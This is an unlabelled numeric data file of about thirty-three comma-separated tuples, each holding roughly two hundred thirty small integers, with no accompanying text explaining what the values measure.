(12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,10,12,12,12,12,12,11,10,12,11,12,12,10,12,12,12,10,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,12,12,12,12,11,10,9,12,12,11,12,11,11,9,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,11,10,12,12,12,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,11,11,11,12,10,12,12,9,11,12,11,9,12,9,11,9,11,9,12,12,12,11,12,10,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,9,12,12,12,12,12,12,11,12,12,11,11,12,12,12,),
(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,13,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,12,9,9,9,9,9,9,13,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,12,9,9,8,9,8,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,11,9,11,9,9,9,9,9,9,9,9,9,9,9,9,11,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,13,9,9,9,9,13,13,13,8,11,12,11,13,12,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,9,9,9,9,9,9,9,9,9,9,9,),
(7,11,6,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,7,11,11,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,9,8,11,9,10,11,10,10,9,11,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,8,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,7,9,11,11,11,10,9,11,8,11,8,11,9,11,11,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,8,11,11,11,10,11,11,11,11,10,11,11,11,11,),
(14,14,14,14,14,14,14,12,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,8,11,14,14,14,14,14,13,12,14,13,13,12,8,11,14,14,12,14,14,14,14,14,14,14,13,13,14,13,11,11,12,14,14,14,14,14,13,9,12,11,14,14,13,14,13,13,11,14,13,14,14,14,13,14,14,14,14,14,13,13,13,12,13,14,14,14,13,14,8,8,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,13,13,13,13,14,14,14,13,14,14,14,14,14,10,13,14,12,13,12,13,12,11,14,12,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,12,11,14,11,13,13,9,13,14,13,11,14,11,13,11,13,11,12,14,11,13,14,11,14,14,14,14,12,9,9,12,14,14,14,14,12,13,14,12,14,14,14,13,12,13,11,13,12,14,9,13,14,11,14,14,14,12,14,14,14,),
(13,13,13,13,13,13,13,13,13,13,13,13,13,11,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,12,13,13,12,12,12,13,13,13,13,12,13,13,13,13,13,13,13,9,12,13,12,13,13,12,12,13,13,13,12,12,13,11,10,13,13,12,13,12,12,11,13,12,13,13,13,13,13,13,13,13,13,11,11,11,9,11,13,13,13,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,13,13,12,11,10,11,11,11,13,13,13,13,13,12,12,13,12,9,12,13,11,12,11,12,11,9,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,12,13,12,12,11,12,12,13,12,11,13,10,12,9,13,10,11,13,10,12,13,12,13,13,13,13,12,6,11,10,13,13,13,13,11,7,12,13,13,13,13,12,12,13,12,11,11,13,13,11,13,11,12,12,12,11,13,13,13,),
(9,9,7,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,7,9,9,9,9,9,9,7,9,8,9,9,8,9,9,9,8,9,9,9,9,9,9,9,8,9,8,7,9,8,9,9,8,9,9,9,9,8,9,8,9,8,9,9,9,9,9,8,9,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,7,8,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,8,8,7,9,9,9,9,9,8,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,7,9,8,9,7,9,7,9,9,9,8,9,9,7,9,6,9,9,9,9,9,9,7,8,9,7,9,9,9,9,9,9,9,8,9,7,9,9,9,9,9,8,9,8,9,9,7,7,9,8,9,8,9,8,9,9,7,8,9,9,9,),
(10,14,10,12,13,15,15,15,15,15,15,15,15,14,14,15,15,15,15,15,15,15,15,15,15,15,11,15,15,15,11,15,15,14,15,15,15,15,14,15,14,15,15,15,14,13,15,15,15,14,14,15,15,15,15,15,15,15,15,14,15,15,12,12,15,12,14,14,14,14,13,15,14,13,12,15,15,15,15,15,15,15,14,14,14,14,14,15,15,15,15,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,15,15,13,12,13,14,14,14,14,14,15,15,15,15,15,15,15,15,13,14,15,15,13,14,14,14,14,14,15,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,12,15,15,13,15,11,13,15,14,15,14,11,14,12,14,12,15,11,14,15,14,13,12,14,15,15,15,15,15,15,14,14,15,10,15,13,14,15,14,15,15,10,15,14,15,15,15,12,14,15,15,13,14,15,15,15,14,15,15,15,14,),
(18,18,18,18,18,18,18,18,18,18,18,18,18,16,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,17,18,18,18,18,17,17,18,18,18,18,18,18,18,18,18,18,18,18,17,17,18,17,18,18,17,17,18,18,18,17,17,18,16,17,18,18,17,18,17,18,16,18,18,18,18,18,18,18,18,18,18,18,16,16,16,16,16,18,18,18,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,17,18,18,18,18,17,16,16,16,16,16,18,18,18,18,18,17,17,18,17,16,17,18,16,17,16,17,16,16,18,16,18,18,18,18,18,18,18,18,18,18,18,18,18,18,17,18,17,18,17,18,16,17,18,18,17,16,18,17,18,16,18,15,16,18,16,18,18,18,18,18,18,18,17,17,16,16,18,18,18,18,16,17,17,18,18,18,18,18,17,18,17,16,16,18,18,16,18,17,17,17,17,17,18,18,18,),
(7,8,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,8,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,6,9,9,8,9,8,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,6,8,6,8,6,9,6,9,9,9,7,8,8,9,9,9,9,9,9,9,9,9,8,9,8,9,9,9,9,9,8,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,),
(10,11,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,11,12,12,12,12,12,10,11,12,11,12,12,11,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,9,12,12,11,12,11,11,9,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,9,11,9,11,9,12,9,12,12,12,10,11,11,12,12,12,12,12,12,12,12,12,11,12,11,12,12,12,12,12,11,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,),
(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,6,9,9,8,9,8,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,8,9,6,9,6,9,7,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,9,11,11,10,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,9,11,8,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,8,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(1,2,3,3,2,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,2,1,4,4,4,4,4,2,2,4,3,4,4,0,4,4,4,2,4,4,4,4,3,4,4,4,4,4,4,4,3,4,4,3,4,4,4,4,3,1,1,4,4,3,4,3,2,1,0,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,4,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,3,3,2,4,4,4,4,4,3,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,3,3,3,3,3,4,4,3,2,4,3,1,2,1,2,1,3,1,4,4,4,2,2,2,4,3,4,4,4,4,4,4,4,1,4,0,4,4,4,4,4,1,4,1,4,4,3,4,4,3,4,4,4,3,4,4,3,3,4,4,4,),
(6,7,8,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,7,7,9,9,9,9,9,7,7,9,8,9,9,7,9,9,9,7,9,9,9,9,8,9,9,9,9,9,9,9,8,9,9,8,9,9,9,9,8,6,6,9,9,8,9,8,7,6,7,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,7,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,8,7,9,9,9,9,9,8,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,8,8,8,8,8,9,9,8,7,9,8,6,7,6,7,6,8,6,9,9,9,7,7,7,9,8,9,9,9,9,9,9,9,6,9,7,9,9,9,9,9,6,9,6,9,9,8,9,9,8,9,9,9,8,9,9,8,8,9,9,9,),
(9,10,11,11,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,10,10,12,12,12,12,12,10,10,12,11,12,12,10,12,12,12,10,12,12,12,12,11,12,12,12,12,12,12,12,11,12,12,11,12,12,12,12,11,9,9,12,12,11,12,11,10,9,10,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,10,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,11,10,12,12,12,12,12,11,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,11,11,11,11,11,12,12,11,10,12,11,9,10,9,10,9,11,9,12,12,12,10,10,10,12,11,12,12,12,12,12,12,12,9,12,10,12,12,12,12,12,9,12,9,12,12,11,12,12,11,12,12,12,11,12,12,11,11,12,12,12,),
(7,7,8,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,9,8,11,10,11,11,11,8,9,11,10,11,11,7,11,11,11,9,11,11,11,11,7,11,11,10,11,10,10,11,10,11,11,10,11,11,11,11,10,7,8,11,10,10,11,10,9,8,7,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,7,7,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,9,10,10,10,10,10,10,10,9,11,10,8,9,8,9,8,10,8,11,11,11,8,9,9,11,6,11,11,11,11,11,11,11,7,11,7,11,11,11,11,11,7,11,8,11,11,10,10,11,10,11,10,11,10,11,11,9,10,11,11,11,),
(3,4,5,5,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,4,4,6,6,6,6,6,4,4,6,5,6,6,4,6,6,6,4,6,6,6,6,5,6,6,6,6,6,6,6,5,6,6,5,6,6,6,6,5,3,3,6,6,5,6,5,4,3,4,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,4,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,5,5,4,6,6,6,6,6,5,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,5,5,5,5,5,6,6,5,4,6,5,3,4,3,4,3,5,3,6,6,6,4,4,4,6,5,6,6,6,6,6,6,6,3,6,4,6,6,6,6,6,3,6,3,6,6,5,6,6,5,6,6,6,5,6,6,5,5,6,6,6,),
(13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,11,13,10,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,),
(13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,11,13,10,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,),
(10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10,9,9,10,10,10,10,10,10,10,10,10,10,10,10,9,9,10,9,10,10,9,10,10,10,10,10,9,10,9,8,10,10,9,10,9,9,9,10,9,10,10,10,10,10,10,10,10,10,9,9,9,8,9,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,9,9,9,9,10,10,10,10,10,10,10,10,10,7,9,10,8,9,8,9,8,7,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,9,9,10,10,9,9,10,7,10,7,10,9,8,10,7,9,10,10,10,10,10,10,9,9,8,8,10,10,10,10,8,9,10,10,10,10,10,10,9,10,9,9,8,10,10,9,10,9,10,10,10,9,10,10,10,),
(9,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,11,10,11,11,11,8,10,11,10,11,11,10,11,11,11,10,11,11,11,11,10,11,11,11,11,10,11,11,11,11,11,10,11,11,11,11,11,8,8,11,10,10,11,10,10,8,10,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,10,9,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,10,11,10,10,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,10,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,10,11,11,11,10,11,11,11,11,10,11,11,11,11,),
(10,10,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,9,10,11,10,11,10,10,10,11,11,9,11,11,11,11,11,11,11,11,10,11,11,10,10,10,11,11,11,11,11,10,10,9,8,10,11,10,11,10,9,8,10,10,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,10,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,9,10,10,10,10,10,10,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,10,11,11,10,9,11,10,8,10,8,10,8,10,8,10,11,10,9,10,9,11,11,11,11,10,10,10,10,11,10,11,10,10,11,11,10,11,10,11,9,10,11,10,11,10,10,10,11,11,10,11,11,11,10,11,11,10,),
(0,7,3,2,5,7,7,7,7,7,7,6,6,3,2,7,7,7,7,7,7,7,5,7,7,7,0,7,7,6,0,7,7,7,6,6,7,7,4,7,7,7,7,7,4,5,7,7,3,5,5,6,7,7,6,5,7,7,7,5,6,7,6,7,7,4,6,5,6,1,6,7,6,4,4,7,7,7,7,7,7,7,3,5,5,3,5,7,7,7,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,5,7,6,0,4,0,1,2,5,3,5,7,7,7,7,7,6,3,7,4,3,4,7,5,6,5,6,5,3,7,5,7,7,7,7,7,7,7,7,7,7,7,7,7,7,3,7,6,4,6,2,4,6,7,7,6,7,7,4,7,3,7,6,5,7,4,6,4,7,7,7,7,7,6,1,5,2,7,7,7,6,5,1,5,7,7,7,7,7,6,7,6,4,5,6,7,4,3,5,1,3,6,2,7,7,7,),
(0,7,3,1,5,7,6,7,6,7,7,5,5,2,1,7,7,7,7,6,7,7,4,6,6,7,0,7,7,5,0,6,6,7,5,5,7,6,3,7,7,6,6,7,3,5,7,7,3,5,4,5,6,7,5,5,6,6,7,5,6,7,7,7,6,4,7,5,7,2,7,6,7,3,4,6,6,7,7,7,7,7,3,4,4,3,4,7,7,7,6,5,7,7,7,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,6,5,0,3,0,0,1,5,3,5,6,6,6,6,6,6,3,7,4,2,4,6,5,5,5,6,4,3,7,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,2,7,5,3,5,1,3,7,7,7,6,7,7,3,7,2,7,7,4,7,3,7,3,7,6,6,6,6,5,1,4,2,7,7,7,6,4,2,4,6,7,7,6,7,5,6,5,4,4,5,7,4,2,4,1,3,5,1,7,7,7,),
(6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,4,6,3,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
